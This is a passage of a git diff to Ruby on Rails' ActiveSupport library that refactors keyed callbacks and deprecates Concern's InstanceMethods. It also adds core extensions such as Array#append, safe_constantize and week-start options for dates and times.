if key
- name = "_run__\#{self.class.name.hash.abs}__#{symbol}__\#{key.hash.abs}__callbacks"
-
- unless respond_to?(name)
- self.class.__create_keyed_callback(name, :#{symbol}, self, &blk)
- end
-
- send(name, &blk)
+ self.class.__run_keyed_callback(key, :#{symbol}, self, &blk)
else
#{body}
end
end
- private :_run_#{symbol}_callbacks
+ private :#{runner_method}
RUBY_EVAL
end
end
- # This is called the first time a callback is called with a particular
- # key. It creates a new callback method for the key, calculating
- # which callbacks can be omitted because of per_key conditions.
+ # This method calls the callback method for the given key.
+ # If this called first time it creates a new callback method for the key,
+ # calculating which callbacks can be omitted because of per_key conditions.
#
- def __create_keyed_callback(name, kind, object, &blk) #:nodoc:
- @_keyed_callbacks ||= {}
- @_keyed_callbacks[name] ||= begin
+ def __run_keyed_callback(key, kind, object, &blk) #:nodoc:
+ name = "_run__#{self.name.hash.abs}__#{kind}__#{key.hash.abs}__callbacks"
+ unless object.respond_to?(name)
str = send("_#{kind}_callbacks").compile(name, object)
class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
def #{name}() #{str} end
protected :#{name}
RUBY_EVAL
- true
end
+ object.send(name, &blk)
end
# This is used internally to append, prepend and skip callbacks to the
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index 81fb859334..af3da937c7 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -4,17 +4,12 @@ module ActiveSupport
# module M
# def self.included(base)
# base.extend ClassMethods
- # base.send(:include, InstanceMethods)
# scope :disabled, where(:disabled => true)
# end
#
# module ClassMethods
# ...
# end
- #
- # module InstanceMethods
- # ...
- # end
# end
#
# By using <tt>ActiveSupport::Concern</tt> the above module could instead be written as:
@@ -31,10 +26,6 @@ module ActiveSupport
# module ClassMethods
# ...
# end
- #
- # module InstanceMethods
- # ...
- # end
# end
#
# Moreover, it gracefully handles module dependencies. Given a +Foo+ module and a +Bar+
@@ -118,7 +109,11 @@ module ActiveSupport
@_dependencies.each { |dep| base.send(:include, dep) }
super
base.extend const_get("ClassMethods") if const_defined?("ClassMethods")
- base.send :include, const_get("InstanceMethods") if const_defined?("InstanceMethods")
+ if const_defined?("InstanceMethods")
+ base.send :include, const_get("InstanceMethods")
+ ActiveSupport::Deprecation.warn "The InstanceMethods module inside ActiveSupport::Concern will be " \
+ "no longer included automatically. Please define instance methods directly in #{base} instead.", caller
+ end
base.class_eval(&@_included_block) if instance_variable_defined?("@_included_block")
end
end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
index 4688468a8f..268c9bed4c 100644
--- a/activesupport/lib/active_support/core_ext/array.rb
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -5,3 +5,4 @@ require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/grouping'
require 'active_support/core_ext/array/random_access'
+require 'active_support/core_ext/array/prepend_and_append'
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index 3b22e8b4f9..f3d06ecb2f 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -39,10 +39,10 @@ class Array
#
# Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
#
- # Adding in the <tt>:db</tt> argument as the format yields a prettier
- # output:
+ # Adding in the <tt>:db</tt> argument as the format yields a comma separated
+ # id list:
#
- # Blog.all.to_formatted_s(:db) # => "First Post,Second Post,Third Post"
+ # Blog.all.to_formatted_s(:db) # => "1,2,3"
def to_formatted_s(format = :default)
case format
when :db
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
new file mode 100644
index 0000000000..27718f19d4
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -0,0 +1,7 @@
+class Array
+ # The human way of thinking about adding stuff to the end of a list is with append
+ alias_method :append, :<<
+
+ # The human way of thinking about adding stuff to the beginning of a list is with prepend
+ alias_method :prepend, :unshift
+end \ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
index 080604147d..391bdc925d 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -29,8 +29,11 @@ class BigDecimal
coder.represent_scalar(nil, YAML_MAPPING[string] || string)
end
- def to_d
- self
+ # Backport this method if it doesn't exist
+ unless method_defined?(:to_d)
+ def to_d
+ self
+ end
end
DEFAULT_STRING_FORMAT = 'F'
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index 26a99658cc..f0f67765c6 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -174,31 +174,54 @@ class Date
months_since(1)
end unless method_defined?(:next_month)
- # Returns a new Date/DateTime representing the "start" of this week (i.e, Monday; DateTime objects will have time set to 0:00).
- def beginning_of_week
- days_to_monday = self.wday!=0 ? self.wday-1 : 6
- result = self - days_to_monday
- self.acts_like?(:time) ? result.midnight : result
+ # Returns number of days to start of this week. Week is assumed to start on
+ # +start_day+, default is +:monday+.
+ def days_to_week_start(start_day = :monday)
+ start_day_number = DAYS_INTO_WEEK[start_day]
+ current_day_number = wday != 0 ? wday - 1 : 6
+ (current_day_number - start_day_number) % 7
+ end
+
+ # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
+ # assumed to start on +start_day+, default is +:monday+. +DateTime+ objects
+ # have their time set to 0:00.
+ def beginning_of_week(start_day = :monday)
+ days_to_start = days_to_week_start(start_day)
+ result = self - days_to_start
+ acts_like?(:time) ? result.midnight : result
end
- alias :monday :beginning_of_week
alias :at_beginning_of_week :beginning_of_week
- # Returns a new Date/DateTime representing the end of this week (Sunday, DateTime objects will have time set to 23:59:59).
- def end_of_week
- days_to_sunday = self.wday!=0 ? 7-self.wday : 0
- result = self + days_to_sunday.days
+ # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
+ # assumed to start on a Monday. +DateTime+ objects have their time set to 0:00.
+ def monday
+ beginning_of_week
+ end
+
+ # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
+ # assumed to start on +start_day+, default is +:monday+. +DateTime+ objects
+ # have their time set to 23:59:59.
+ def end_of_week(start_day = :monday)
+ days_to_end = 6 - days_to_week_start(start_day)
+ result = self + days_to_end.days
self.acts_like?(:time) ? result.end_of_day : result
end
- alias :sunday :end_of_week
alias :at_end_of_week :end_of_week
- # Returns a new Date/DateTime representing the start of the given day in the previous week (default is Monday).
+ # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
+ # assumed to start on a Monday. +DateTime+ objects have their time set to 23:59:59.
+ def sunday
+ end_of_week
+ end
+
+ # Returns a new +Date+/+DateTime+ representing the given +day+ in the previous
+ # week. Default is +:monday+. +DateTime+ objects have their time set to 0:00.
def prev_week(day = :monday)
result = (self - 7).beginning_of_week + DAYS_INTO_WEEK[day]
self.acts_like?(:time) ? result.change(:hour => 0) : result
end
- # Returns a new Date/DateTime representing the start of the given day in next week (default is Monday).
+ # Returns a new Date/DateTime representing the start of the given day in next week (default is :monday).
def next_week(day = :monday)
result = (self + 7).beginning_of_week + DAYS_INTO_WEEK[day]
self.acts_like?(:time) ? result.change(:hour => 0) : result
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index ddb4f3012f..9343bb7106 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -97,7 +97,7 @@ module Enumerable
end
# Returns true if the enumerable has more than 1 element. Functionally equivalent to enum.to_a.size > 1.
- # Can be called with a block too, much like any?, so people.many? { |p| p.age > 26 } returns true if more than 1 person is over 26.
+ # Can be called with a block too, much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns true if more than one person is over 26.
def many?
cnt = 0
if block_given?
@@ -110,7 +110,7 @@ module Enumerable
end
end
- # The negative of the Enumerable#include?. Returns true if the collection does not include the object.
+ # The negative of the <tt>Enumerable#include?</tt>. Returns true if the collection does not include the object.
def exclude?(object)
!include?(object)
end
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index 0b368fe7b7..f4cb445444 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -2,7 +2,7 @@ require 'active_support/hash_with_indifferent_access'
class Hash
- # Returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
+ # Returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver:
#
# {:a => 1}.with_indifferent_access["a"] # => 1
#
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index d7fb2da0fb..0484d8e5d8 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -30,6 +30,8 @@ class Hash
omit
end
+ # Removes and returns the key/value pairs matching the given keys.
+ # {:a => 1, :b => 2, :c => 3, :d => 4}.extract!(:a, :b) # => {:a => 1, :b => 2}
def extract!(*keys)
result = {}
keys.each {|key| result[key] = delete(key) }
diff --git a/activesupport/lib/active_support/core_ext/io.rb b/activesupport/lib/active_support/core_ext/io.rb
new file mode 100644
index 0000000000..75f1055191
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/io.rb
@@ -0,0 +1,15 @@
+if RUBY_VERSION < '1.9.2'
+
+# :stopdoc:
+class IO
+ def self.binread(name, length = nil, offset = nil)
+ return File.read name unless length || offset
+ File.open(name, 'rb') { |f|
+ f.seek offset if offset
+ f.read length
+ }
+ end
+end
+# :startdoc:
+
+end
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index 9fed346b7c..f399fce410 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -8,4 +8,5 @@ require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/module/synchronization'
require 'active_support/core_ext/module/deprecation'
require 'active_support/core_ext/module/remove_method'
-require 'active_support/core_ext/module/method_names' \ No newline at end of file
+require 'active_support/core_ext/module/method_names'
+require 'active_support/core_ext/module/qualified_const' \ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index 41f9a76b13..7de824a77f 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -1,5 +1,3 @@
-require "active_support/core_ext/module/remove_method"
-
class Module
# Provides a delegate class method to easily expose contained objects' methods
# as your own. Pass one or more methods (specified as symbols or strings)
@@ -108,35 +106,48 @@ class Module
unless options.is_a?(Hash) && to = options[:to]
raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter)."
end
+ prefix, to, allow_nil = options[:prefix], options[:to], options[:allow_nil]
- if options[:prefix] == true && options[:to].to_s =~ /^[^a-z_]/
+ if prefix == true && to.to_s =~ /^[^a-z_]/
raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method."
end
- prefix = options[:prefix] ? "#{options[:prefix] == true ? to : options[:prefix]}_" : ''
+ method_prefix =
+ if prefix
+ "#{prefix == true ? to : prefix}_"
+ else
+ ''
+ end
file, line = caller.first.split(':', 2)
line = line.to_i
methods.each do |method|
- on_nil =
- if options[:allow_nil]
- 'return'
- else
- %(raise "#{self}##{prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
- end
+ method = method.to_s
+
+ if allow_nil
+ module_eval(<<-EOS, file, line - 2)
+ def #{method_prefix}#{method}(*args, &block) # def customer_name(*args, &block)
+ if #{to} || #{to}.respond_to?(:#{method}) # if client || client.respond_to?(:name)
+ #{to}.__send__(:#{method}, *args, &block) # client.__send__(:name, *args, &block)
+ end # end
+ end # end
+ EOS
+ else
+ exception = %(raise "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
- module_eval(<<-EOS, file, line - 5)
- def #{prefix}#{method}(*args, &block) # def customer_name(*args, &block)
- #{to}.__send__(#{method.inspect}, *args, &block) # client.__send__(:name, *args, &block)
- rescue NoMethodError # rescue NoMethodError
- if #{to}.nil? # if client.nil?
- #{on_nil} # return # depends on :allow_nil
- else # else
- raise # raise
- end # end
- end # end
- EOS
+ module_eval(<<-EOS, file, line - 1)
+ def #{method_prefix}#{method}(*args, &block) # def customer_name(*args, &block)
+ #{to}.__send__(:#{method}, *args, &block) # client.__send__(:name, *args, &block)
+ rescue NoMethodError # rescue NoMethodError
+ if #{to}.nil? # if client.nil?
+ #{exception} # # add helpful message to the exception
+ else # else
+ raise # raise
+ end # end
+ end # end
+ EOS
+ end
end
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/qualified_const.rb b/activesupport/lib/active_support/core_ext/module/qualified_const.rb
new file mode 100644
index 0000000000..d1a0ee2f83
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/qualified_const.rb
@@ -0,0 +1,64 @@
+require 'active_support/core_ext/string/inflections'
+
+#--
+# Allows code reuse in the methods below without polluting Module.
+#++
+module QualifiedConstUtils
+ def self.raise_if_absolute(path)
+ raise NameError, "wrong constant name #$&" if path =~ /\A::[^:]+/
+ end
+
+ def self.names(path)
+ path.split('::')
+ end
+end
+
+##
+# Extends the API for constants to be able to deal with qualified names. Arguments
+# are assumed to be relative to the receiver.
+#
+#--
+# Qualified names are required to be relative because we are extending existing
+# methods that expect constant names, ie, relative paths of length 1. For example,
+# Object.const_get("::String") raises NameError and so does qualified_const_get.
+#++
+class Module
+ if method(:const_defined?).arity == 1
+ def qualified_const_defined?(path)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ QualifiedConstUtils.names(path).inject(self) do |mod, name|
+ return unless mod.const_defined?(name)
+ mod.const_get(name)
+ end
+ return true
+ end
+ else
+ def qualified_const_defined?(path, search_parents=true)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ QualifiedConstUtils.names(path).inject(self) do |mod, name|
+ return unless mod.const_defined?(name, search_parents)
+ mod.const_get(name)
+ end
+ return true
+ end
+ end
+
+ def qualified_const_get(path)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ QualifiedConstUtils.names(path).inject(self) do |mod, name|
+ mod.const_get(name)
+ end
+ end
+
+ def qualified_const_set(path, value)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ const_name = path.demodulize
+ mod_name = path.deconstantize
+ mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+ mod.const_set(const_name, value)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/reachable.rb b/activesupport/lib/active_support/core_ext/module/reachable.rb
index 443d2c3d53..5d3d0e9851 100644
--- a/activesupport/lib/active_support/core_ext/module/reachable.rb
+++ b/activesupport/lib/active_support/core_ext/module/reachable.rb
@@ -3,8 +3,6 @@ require 'active_support/core_ext/string/inflections'
class Module
def reachable? #:nodoc:
- !anonymous? && name.constantize.equal?(self)
- rescue NameError
- false
+ !anonymous? && name.safe_constantize.equal?(self)
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb
index 07d7c9b018..b76bc16ee1 100644
--- a/activesupport/lib/active_support/core_ext/module/remove_method.rb
+++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb
@@ -1,11 +1,16 @@
class Module
def remove_possible_method(method)
- remove_method(method)
+ if method_defined?(method) || private_method_defined?(method)
+ remove_method(method)
+ end
rescue NameError
+ # If the requested method is defined on a superclass or included module,
+ # method_defined? returns true but remove_method throws a NameError.
+ # Ignore this.
end
def redefine_method(method, &block)
remove_possible_method(method)
define_method(method, &block)
end
-end \ No newline at end of file
+end
diff --git a/activesupport/lib/active_support/core_ext/module/synchronization.rb b/activesupport/lib/active_support/core_ext/module/synchronization.rb
index ed16c2f71b..061621c0ef 100644
--- a/activesupport/lib/active_support/core_ext/module/synchronization.rb
+++ b/activesupport/lib/active_support/core_ext/module/synchronization.rb
@@ -1,6 +1,7 @@
require 'thread'
require 'active_support/core_ext/module/aliasing'
require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/module/deprecation'
class Module
# Synchronize access around a method, delegating synchronization to a
@@ -40,4 +41,5 @@ class Module
alias_method_chain method, :synchronization
end
end
+ deprecate :synchronize
end
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
index b5671f66d0..f611cdd606 100644
--- a/activesupport/lib/active_support/core_ext/object/inclusion.rb
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -1,15 +1,25 @@
class Object
- # Returns true if this object is included in the argument. Argument must be
- # any object which responds to +#include?+. Usage:
+ # Returns true if this object is included in the argument(s). Argument must be
+ # any object which responds to +#include?+ or optionally, multiple arguments can be passed in. Usage:
#
# characters = ["Konata", "Kagami", "Tsukasa"]
# "Konata".in?(characters) # => true
+ #
+ # character = "Konata"
+ # character.in?("Konata", "Kagami", "Tsukasa") # => true
#
- # This will throw an ArgumentError if the argument doesn't respond
+ # This will throw an ArgumentError if a single argument is passed in and it doesn't respond
# to +#include?+.
- def in?(another_object)
- another_object.include?(self)
- rescue NoMethodError
- raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
+ def in?(*args)
+ if args.length > 1
+ args.include? self
+ else
+ another_object = args.first
+ if another_object.respond_to? :include?
+ another_object.include? self
+ else
+ raise ArgumentError.new("The single parameter passed to #in? must respond to #include?")
+ end
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
index 14ef27340e..e7dc60a612 100644
--- a/activesupport/lib/active_support/core_ext/object/to_json.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_json.rb
@@ -10,10 +10,10 @@ end
# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
- klass.class_eval <<-RUBY, __FILE__, __LINE__
+ klass.class_eval do
# Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
def to_json(options = nil)
ActiveSupport::JSON.encode(self, options)
end
- RUBY
+ end
end
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
index 3f1540f685..5d5fcf00e0 100644
--- a/activesupport/lib/active_support/core_ext/object/to_query.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -7,7 +7,7 @@ class Object
# Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
def to_query(key)
require 'cgi' unless defined?(CGI) && defined?(CGI::escape)
- "#{CGI.escape(key.to_s)}=#{CGI.escape(to_param.to_s)}"
+ "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}"
end
end
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
index 4797c93e63..e77a9da0ec 100644
--- a/activesupport/lib/active_support/core_ext/object/try.rb
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -28,8 +28,6 @@ class Object
def try(*a, &b)
if a.empty? && block_given?
yield self
- elsif !a.empty? && !respond_to?(a.first)
- nil
else
__send__(*a, &b)
end
diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb
index 544e63132d..43134b4314 100644
--- a/activesupport/lib/active_support/core_ext/range/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/range/conversions.rb
@@ -7,7 +7,7 @@ class Range
#
# ==== Example
#
- # [1..100].to_formatted_s # => "1..100"
+ # (1..100).to_formatted_s # => "1..100"
def to_formatted_s(format = :default)
if formatter = RANGE_FORMATS[format]
formatter.call(first, last)
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index 002688d6c0..1e57b586d9 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -9,14 +9,25 @@ require 'active_support/inflector/transliterate'
class String
# Returns the plural form of the word in the string.
#
+ # If the optional parameter +count+ is specified,
+ # the singular form will be returned if <tt>count == 1</tt>.
+ # For any other value of +count+ the plural will be returned.
+ #
+ # ==== Examples
# "post".pluralize # => "posts"
# "octopus".pluralize # => "octopi"
# "sheep".pluralize # => "sheep"
# "words".pluralize # => "words"
# "the blue mailman".pluralize # => "the blue mailmen"
# "CamelOctopus".pluralize # => "CamelOctopi"
- def pluralize
- ActiveSupport::Inflector.pluralize(self)
+ # "apple".pluralize(1) # => "apple"
+ # "apple".pluralize(2) # => "apples"
+ def pluralize(count = nil)
+ if count == 1
+ self
+ else
+ ActiveSupport::Inflector.pluralize(self)
+ end
end
# The reverse of +pluralize+, returns the singular form of a word in a string.
@@ -33,15 +44,28 @@ class String
# +constantize+ tries to find a declared constant with the name specified
# in the string. It raises a NameError when the name is not in CamelCase
- # or is not initialized.
+ # or is not initialized. See ActiveSupport::Inflector.constantize
#
# Examples
- # "Module".constantize # => Module
- # "Class".constantize # => Class
+ # "Module".constantize # => Module
+ # "Class".constantize # => Class
+ # "blargle".constantize # => NameError: wrong constant name blargle
def constantize
ActiveSupport::Inflector.constantize(self)
end
+ # +safe_constantize+ tries to find a declared constant with the name specified
+ # in the string. It returns nil when the name is not in CamelCase
+ # or is not initialized. See ActiveSupport::Inflector.safe_constantize
+ #
+ # Examples
+ # "Module".safe_constantize # => Module
+ # "Class".safe_constantize # => Class
+ # "blargle".safe_constantize # => nil
+ def safe_constantize
+ ActiveSupport::Inflector.safe_constantize(self)
+ end
+
# By default, +camelize+ converts strings to UpperCamelCase. If the argument to camelize
# is set to <tt>:lower</tt> then camelize produces lowerCamelCase.
#
@@ -93,10 +117,25 @@ class String
#
# "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
# "Inflections".demodulize # => "Inflections"
+ #
+ # See also +deconstantize+.
def demodulize
ActiveSupport::Inflector.demodulize(self)
end
+ # Removes the rightmost segment from the constant expression in the string.
+ #
+ # "Net::HTTP".deconstantize # => "Net"
+ # "::Net::HTTP".deconstantize # => "::Net"
+ # "String".deconstantize # => ""
+ # "::String".deconstantize # => ""
+ # "".deconstantize # => ""
+ #
+ # See also +demodulize+.
+ def deconstantize
+ ActiveSupport::Inflector.deconstantize(self)
+ end
+
# Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
#
# ==== Examples
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index 3bf4edbdef..5d7f74bb65 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -20,7 +20,7 @@ class ERB
if s.html_safe?
s
else
- s.gsub(/[&"><]/) { |special| HTML_ESCAPE[special] }.html_safe
+ s.gsub(/&/, "&amp;").gsub(/\"/, "&quot;").gsub(/>/, "&gt;").gsub(/</, "&lt;").html_safe
end
end
@@ -75,7 +75,7 @@ end
module ActiveSupport #:nodoc:
class SafeBuffer < String
- UNSAFE_STRING_METHODS = ["capitalize", "chomp", "chop", "delete", "downcase", "gsub", "lstrip", "next", "reverse", "rstrip", "slice", "squeeze", "strip", "sub", "succ", "swapcase", "tr", "tr_s", "upcase"].freeze
+ UNSAFE_STRING_METHODS = ["capitalize", "chomp", "chop", "delete", "downcase", "gsub", "lstrip", "next", "reverse", "rstrip", "slice", "squeeze", "strip", "sub", "succ", "swapcase", "tr", "tr_s", "upcase", "prepend"].freeze
alias_method :original_concat, :concat
private :original_concat
@@ -86,6 +86,12 @@ module ActiveSupport #:nodoc:
end
end
+ def[](*args)
+ new_safe_buffer = super
+ new_safe_buffer.instance_eval { @dirty = false }
+ new_safe_buffer
+ end
+
def safe_concat(value)
raise SafeConcatError if dirty?
original_concat(value)
@@ -136,16 +142,18 @@ module ActiveSupport #:nodoc:
end
UNSAFE_STRING_METHODS.each do |unsafe_method|
- class_eval <<-EOT, __FILE__, __LINE__
- def #{unsafe_method}(*args, &block) # def gsub(*args, &block)
- to_str.#{unsafe_method}(*args, &block) # to_str.gsub(*args, &block)
- end # end
-
- def #{unsafe_method}!(*args) # def gsub!(*args)
- @dirty = true # @dirty = true
- super # super
- end # end
- EOT
+ if 'String'.respond_to?(unsafe_method)
+ class_eval <<-EOT, __FILE__, __LINE__ + 1
+ def #{unsafe_method}(*args, &block) # def capitalize(*args, &block)
+ to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block)
+ end # end
+
+ def #{unsafe_method}!(*args) # def capitalize!(*args)
+ @dirty = true # @dirty = true
+ super # super
+ end # end
+ EOT
+ end
end
protected
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index c5fbbcf890..f3235d11bb 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -1,5 +1,6 @@
require 'active_support/duration'
require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/time/conversions'
class Time
COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
@@ -8,7 +9,7 @@ class Time
class << self
# Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances
def ===(other)
- other.is_a?(::Time)
+ super || (self == Time && other.is_a?(ActiveSupport::TimeWithZone))
end
# Return the number of days in the given month.
@@ -160,27 +161,46 @@ class Time
months_since(1)
end
- # Returns a new Time representing the "start" of this week (Monday, 0:00)
- def beginning_of_week
- days_to_monday = wday!=0 ? wday-1 : 6
- (self - days_to_monday.days).midnight
+ # Returns number of days to start of this week, week starts on start_day (default is :monday).
+ def days_to_week_start(start_day = :monday)
+ start_day_number = DAYS_INTO_WEEK[start_day]
+ current_day_number = wday != 0 ? wday - 1 : 6
+ days_span = current_day_number - start_day_number
+ days_span >= 0 ? days_span : 7 + days_span
+ end
+
+ # Returns a new Time representing the "start" of this week, week starts on start_day (default is :monday, i.e. Monday, 0:00).
+ def beginning_of_week(start_day = :monday)
+ days_to_start = days_to_week_start(start_day)
+ (self - days_to_start.days).midnight
end
- alias :monday :beginning_of_week
alias :at_beginning_of_week :beginning_of_week
- # Returns a new Time representing the end of this week, (end of Sunday)
- def end_of_week
- days_to_sunday = wday!=0 ? 7-wday : 0
- (self + days_to_sunday.days).end_of_day
+ # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
+ # assumed to start on a Monday. +DateTime+ objects have their time set to 0:00.
+ def monday
+ beginning_of_week
+ end
+
+ # Returns a new Time representing the end of this week, week starts on start_day (default is :monday, i.e. end of Sunday).
+ def end_of_week(start_day = :monday)
+ days_to_end = 6 - days_to_week_start(start_day)
+ (self + days_to_end.days).end_of_day
end
alias :at_end_of_week :end_of_week
- # Returns a new Time representing the start of the given day in the previous week (default is Monday).
+ # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
+ # assumed to start on a Monday. +DateTime+ objects have their time set to 23:59:59.
+ def sunday
+ end_of_week
+ end
+
+ # Returns a new Time representing the start of the given day in the previous week (default is :monday).
def prev_week(day = :monday)
ago(1.week).beginning_of_week.since(DAYS_INTO_WEEK[day].day).change(:hour => 0)
end
- # Returns a new Time representing the start of the given day in next week (default is Monday).
+ # Returns a new Time representing the start of the given day in next week (default is :monday).
def next_week(day = :monday)
since(1.week).beginning_of_week.since(DAYS_INTO_WEEK[day].day).change(:hour => 0)
end
@@ -311,4 +331,14 @@ class Time
end
alias_method :compare_without_coercion, :<=>
alias_method :<=>, :compare_with_coercion
+
+ # Layers additional behavior on Time#eql? so that ActiveSupport::TimeWithZone instances
+ # can be eql? to an equivalent Time
+ def eql_with_coercion(other)
+ # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do eql? comparison
+ other = other.comparable_time if other.respond_to?(:comparable_time)
+ eql_without_coercion(other)
+ end
+ alias_method :eql_without_coercion, :eql?
+ alias_method :eql?, :eql_with_coercion
end
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index d9d5e02778..49ac18d245 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -55,9 +55,31 @@ class Time
utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
end
+ # Converts a Time object to a Date, dropping hour, minute, and second precision.
+ #
+ # my_time = Time.now # => Mon Nov 12 22:59:51 -0500 2007
+ # my_time.to_date # => Mon, 12 Nov 2007
+ #
+ # your_time = Time.parse("1/13/2009 1:13:03 P.M.") # => Tue Jan 13 13:13:03 -0500 2009
+ # your_time.to_date # => Tue, 13 Jan 2009
+ def to_date
+ ::Date.new(year, month, day)
+ end unless method_defined?(:to_date)
+
# A method to keep Time, Date and DateTime instances interchangeable on conversions.
